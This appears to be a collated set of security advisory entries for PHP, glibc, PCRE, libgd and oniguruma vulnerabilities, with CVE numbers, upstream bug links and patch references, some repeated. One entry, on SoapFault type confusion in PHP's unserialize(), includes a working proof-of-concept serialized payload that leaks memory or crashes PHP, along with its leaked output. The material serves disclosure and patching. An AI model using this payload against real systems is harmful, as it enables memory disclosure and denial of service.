A heap-based buffer overflow was found in nsshostnamedigitsdots(), which is used by the gethostbyname() and gethostbyname2() glibc function call. A remote attacker could use this flaw to execute arbitary code with the permissions of the user running the application.
Fixed bug (Memory corruption when loading hostile phar). (CVE-2016-10160)
Fixed bug (applied upstream patch for CVE-2016-1283).
Add oniguruma upstream fix (CVE-2017-9224, CVE-2017-9226, CVE-2017-9227, CVE-2017-9228, CVE-2017-9229)
Add oniguruma upstream fix (CVE-2017-9224, CVE-2017-9226, CVE-2017-9227, CVE-2017-9228, CVE-2017-9229)
It was found that PCRE before 8.38 mishandles certain repeated conditional groups whose condition was referenced by name if there was more than one group with the given name, which allows remote attackers to cause a denial of service (buffer overflow) or possibly have unspecified other impact via a crafted regular expression.
It was discovered that PCRE before 8.38 mishandles the interaction of lookbehind assertions and mutually recursive subpatterns could provoke a buffer overflow, allowing remote attackers to cause a denial of service (buffer overflow) or possibly have unspecified other impact via a crafted regular expression.
PCRE before 8.38 mishandles the /(?:|a|){100}x/ pattern and related patterns, which allows remote attackers to cause a denial of service (infinite recursion) or possibly have unspecified other impact via a crafted regular expression, as demonstrated by a JavaScript RegExp object encountered by Konqueror.
PCRE before 8.38 mishandles the [: and \\ substrings in character classes, which allows remote attackers to cause a denial of service (uninitialized memory read) or possibly have unspecified other impact via a crafted regular expression, as demonstrated by a JavaScript RegExp object encountered by Konqueror.
It was discovered that pcrecompile function in pcrecompile.c in PCRE before 8.38 mishandles certain [: nesting, which allows remote attackers to cause a denial of service (CPU consumption) or possibly have unspecified other impact via a crafted regular expression.
PCRE before 8.38 mishandles the (?(<digits>) and (?(R<digits>) conditions, which allows remote attackers to cause a denial of service (integer overflow) or possibly have unspecified other impact via a crafted regular expression, as demonstrated by a JavaScript RegExp object encountered by Konqueror.
Fixed bug (AddressSanitizer: negative-size-param (-1) in mbflstrcut). (CVE-2016-4073)
Fixed bug (xmlparseintostruct segmentation fault). (CVE-2016-4539)
A signedness vulnerability was found in libgd 2.1.1 which may result into heap overflow when processing maliciously crafted .gd2 files.
Fixed bug (Out of bounds heap read access in exif header processing). (CVE-2016-4542, CVE-2016-4543, CVE-2016-4544)
Fixed bug (Out of bounds heap read access in exif header processing). (CVE-2016-4542, CVE-2016-4543, CVE-2016-4544)
Fixed bug (Out of bounds heap read access in exif header processing). (CVE-2016-4542, CVE-2016-4543, CVE-2016-4544)
A double free can occur in wddxdeserialize when trying to deserialize malicious xml input from user's request.
Upstream bug:
https://bugs.php.net/bug.php?id=72340
Upstream patch:
http://git.php.net/?p=php-src.git;a=commitdiff;h=a44c89e8af7c2410f4bfc5e097be2a5d0639a60c
CVE assignment:
http://seclists.org/oss-sec/2016/q2/589
Fixed bug (bcpowmod accepts negative scale and corrupts one definition). (CVE-2016-4537, CVE-2016-4538)
Fixed bug (bcpowmod accepts negative scale and corrupts one definition). (CVE-2016-4537, CVE-2016-4538)
Fixed bug (Out-of-bounds reads in zifgraphemestripos with negative offset). (CVE-2016-4540, CVE-2016-4541)
Fixed bug (Out-of-bounds reads in zifgraphemestripos with negative offset). (CVE-2016-4540, CVE-2016-4541)
Last updated 24 July 2024
A vulnerability was found in php. Zend/zendexceptions.c in PHP before 5.4.44, 5.5.x before 5.5.28, and 5.6.x before 5.6.12 does not validate certain Exception objects, which allows remote attackers to cause a denial of service (NULL pointer dereference and application crash) or trigger unintended method execution via crafted serialized data.
Upstream bug:
https://bugs.php.net/bug.php?id=70121
Multiple use-after-free vulnerabilities in PHP before 5.4.45, 5.5.x before 5.5.29, and 5.6.x before 5.6.13 allow remote attackers to execute arbitrary code via vectors related to (1) the Serializable interface, (2) the SplObjectStorage class, and (3) the SplDoublyLinkedList class, which are mishandled during unserialization.
The SoapClient implementation in PHP before 5.4.40, 5.5.x before 5.5.24, and 5.6.x before 5.6.8 allows remote attackers to cause a denial of service (application crash) or possibly execute arbitrary code via an unexpected data type, related to "type confusion" issues in the (1) SoapClient::getLastRequest, (2) SoapClient::getLastResponse, (3) SoapClient::getLastRequestHeaders, (4) SoapClient::getLastResponseHeaders, (5) SoapClient::getCookies, and (6) SoapClient::setCookie methods.
A type confusion issue was found in exception::getTraceAsString(). If a specially crafted input is unserialized, it could lead to information leak and possibly code execution.
The issue was reported upstream in:
https://bugs.php.net/bug.php?id=69152#1425357025
and was corrected in:
http://git.php.net/?p=php-src.git;a=commitdiff;h=a894a8155fab068d68a04bf181dbaddfa01ccbb0
See also bug 1222538 comment 7.
A type confusion issue was found in the way PHP performed unserialization of incomplete class. If a specially crafted input is unserialized, it could lead to information leak and possibly code execution.
The issue was reported upstream in:
https://bugs.php.net/bug.php?id=69152#1426863482
and was corrected in:
http://git.php.net/?p=php-src.git;a=commitdiff;h=fb83c76deec58f1fab17c350f04c9f042e5977d1
See also bug 1222538 comment 7.
PHP versions 5.4.40, 5.5.24, and 5.6.8 provide a fix for type confusion vulnerability in unserialize() function used on a various SOAP methods.
Copy-paste description of the issue from the upstream bug: """ PHPMETHOD(SoapFault, toString) { ... faultcode = zendreadproperty(soapfaultclassentry, thisptr, "faultcode", sizeof("faultcode")-1, 1 TSRMLSCC); faultstring = zendreadproperty(soapfaultclassentry, thisptr, "faultstring", sizeof("faultstring")-1, 1 TSRMLSCC); file = zendreadproperty(soapfaultclassentry, thisptr, "file", sizeof("file")-1, 1 TSRMLSCC); line = zendreadproperty(soapfaultclassentry, thisptr, "line", sizeof("line")-1, 1 TSRMLSCC); ... len = spprintf(&str, 0, "SoapFault exception: [%s] %s in %s:%ld\nStack trace:\n%s", ZSTRVALP(faultcode), ZSTRVALP(faultstring), ZSTRVALP(file), ZLVALP(line), ZSTRLENP(trace) ? ZSTRVALP(trace) : "#0 {main}\n");
zvalptrdtor(&trace);
RETURNSTRINGL(str, len, 0); ｝
The ZSTRVALP macro lead to looking up an arbitrary valid memory address, and return a string via a integer-type zval that start from this memory address. If the memory address is an invalid memory position, it should result in a crash. The ZLVALP macro lead to leaking memory address via a string-type zval that string value stored.
The following code should leak arbitrary memory or crash PHP:
<?php
$data = 'O:9:"SoapFault":4:{s:9:"faultcode";i:4298448493;s:11:"faultstring";i:4298448543;s:7:"'."\0\0".'file";i:4298447319;s:7:"'."\0\0".'line";s:4:"ryat";}'; echo unserialize($data);
?>
Result (Test on standard MacOSX 10.10.2 installation of PHP 5.6.6.):
SoapFault exception: [UH??AWAVSPI??I??H???? in UH??AWAVAUATSH???:4307253992 ] UH??SPD????????t"H? Stack trace: #0 test.php(4): unserialize('O:9:"SoapFault"...') #1 {main} """
Upstream bug: https://bugs.php.net/bug.php?id=69152
Upstream commits: http://git.php.net/?p=php-src.git;a=commitdiff;h=0c136a2abd49298b66acb0cad504f0f972f5bfe8 http://git.php.net/?p=php-src.git;a=commitdiff;h=51856a76f87ecb24fe1385342be43610fb6c86e4 http://git.php.net/?p=php-src.git;a=commitdiff;h=fb83c76deec58f1fab17c350f04c9f042e5977d1
Integer overflow in the ftpgenlist function in ext/ftp/ftp.c in PHP before 5.4.42, 5.5.x before 5.5.26, and 5.6.x before 5.6.10 allows remote FTP servers to execute arbitrary code via a long reply to a LIST command, leading to a heap-based buffer overflow. NOTE: this vulnerability exists because of an incomplete fix for CVE-2015-4022.